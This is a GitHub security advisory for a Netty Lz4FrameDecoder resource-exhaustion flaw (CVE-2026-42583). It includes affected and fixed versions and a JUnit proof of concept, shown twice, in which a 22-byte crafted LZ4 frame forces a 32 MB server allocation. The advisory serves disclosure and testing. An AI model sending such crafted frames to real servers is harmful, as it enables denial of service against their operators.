GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
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